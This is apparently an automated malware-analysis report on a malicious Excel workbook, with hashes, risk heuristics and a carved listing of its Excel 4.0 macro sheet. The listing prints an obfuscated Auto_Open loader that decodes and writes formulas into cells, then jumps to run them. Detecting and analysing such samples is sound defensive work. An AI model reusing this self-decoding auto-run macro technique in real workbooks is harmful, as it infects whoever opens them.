Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa9228acd8b54cd0…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:28:59 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 0f5e267c03b500ad69b84881273eeba7 SHA-1: 8158e640d031c70772069f3159642b40c8efa44f SHA-256: aa9228acd8b54cd06e834204db61ab726111fe75e445cf97c04b6974c3441cac
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6496 bytes
SHA-256: 98e58f6fb71be3d1415304bd13ad6ee2b732145bb6f872ab0e1962e71171b3fb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EwFtJ
' 0018     26 LABEL : Cell Value, String Constant - ACDloOonybj len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D176 
' 0018     21 LABEL : Cell Value, String Constant - cBAOhW len=0 
' 0018     25 LABEL : Cell Value, String Constant - cPZIdPUYRw len=0 
' 0018     27 LABEL : Cell Value, String Constant - fGUNQDLkHdQL len=0 
' 0018     23 LABEL : Cell Value, String Constant - FsCkSfBa len=0 
' 0018     22 LABEL : Cell Value, String Constant - GPVwsFz len=0 
' 0018     27 LABEL : Cell Value, String Constant - GvpfSCwPcHUp len=0 
' 0018     20 LABEL : Cell Value, String Constant - nqcDq len=0 
' 0018     22 LABEL : Cell Value, String Constant - pdWxMNQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - quzZfIfgMYYS len=0 
' 0018     25 LABEL : Cell Value, String Constant - sDYsjsZzwm len=0 
' 0018     24 LABEL : Cell Value, String Constant - SGojFKjgh len=0 
' 0018     24 LABEL : Cell Value, String Constant - tFKqlIKLA len=0 
' 0018     24 LABEL : Cell Value, String Constant - tHAsAdYcJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - uTAIjDsVQFz len=0 
' 0018     25 LABEL : Cell Value, String Constant - vKeTQegcbx len=0 
' 0018     22 LABEL : Cell Value, String Constant - vKoSSVF len=0 
' 0018     20 LABEL : Cell Value, String Constant - xfRTB len=0 
' 0018     22 LABEL : Cell Value, String Constant - XtARIGD len=0 
' 0018     21 LABEL : Cell Value, String Constant - zqkyKj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EwFtJ,D71,"SET.NAME("SGojFKjgh",VALUE("0"))",""
'  EwFtJ,D76,"SET.NAME("FsCkSfBa",SGojFKjgh)",""
'  EwFtJ,D81,"SET.NAME("tFKqlIKLA",SGojFKjgh)",""
'  EwFtJ,D83,"SET.NAME("xfRTB",COUNTA(GPVwsFz))",""
'  EwFtJ,D87,"SET.NAME("GvpfSCwPcHUp",COUNTA(nqcDq))",""
'  EwFtJ,D91,[],""
'  EwFtJ,D96,"SET.NAME("XtARIGD","")",""
'  EwFtJ,D100,"FsCkSfBa",""
'  EwFtJ,D105,"SET.NAME("vKoSSVF",HLOOKUP("*",GPVwsFz,FsCkSfBa,FALSE))",""
'  EwFtJ,D110,"fGUNQDLkHdQL",""
'  EwFtJ,D115,"SET.NAME("vKeTQegcbx",SGojFKjgh)",""
'  EwFtJ,D120,[],""
'  EwFtJ,D125,"vKeTQegcbx",""
'  EwFtJ,D130,"tHAsAdYcJ",""
'  EwFtJ,D133,"cPZIdPUYRw",""
'  EwFtJ,D138,"cBAOhW",""
'  EwFtJ,D142,"SET.NAME("sDYsjsZzwm",VALUE(HLOOKUP("*",nqcDq,cBAOhW,FALSE)))",""
'  EwFtJ,D146,"pdWxMNQ",""
'  EwFtJ,D149,"XtARIGD",""
'  EwFtJ,D151,"tFKqlIKLA",""
'  EwFtJ,D155,NEXT(),""
'  EwFtJ,D159,"uTAIjDsVQFz",""
'  EwFtJ,D161,"SET.NAME("f",INT(T(FORMULA(T(XtARIGD)&"",""&T(uTAIjDsVQFz)))))",""
'  EwFtJ,D166,"zqkyKj",""
'  EwFtJ,D168,NEXT(),""
'  EwFtJ,D172,RETURN(),""
'  EwFtJ,D205,"SET.NAME("ACDloOonybj",D71)",""
'  EwFtJ,D210,"GPVwsFz",""
'  EwFtJ,D214,"SET.NAME("nqcDq",R76C13)",""
'  EwFtJ,D219,"SET.NAME("zqkyKj",229)",""
'  EwFtJ,D224,"SET.NAME("quzZfIfgMYYS",4)",""
'  EwFtJ,D228,ACDloOonybj(),""
'  EwFtJ,D229,HALT(),""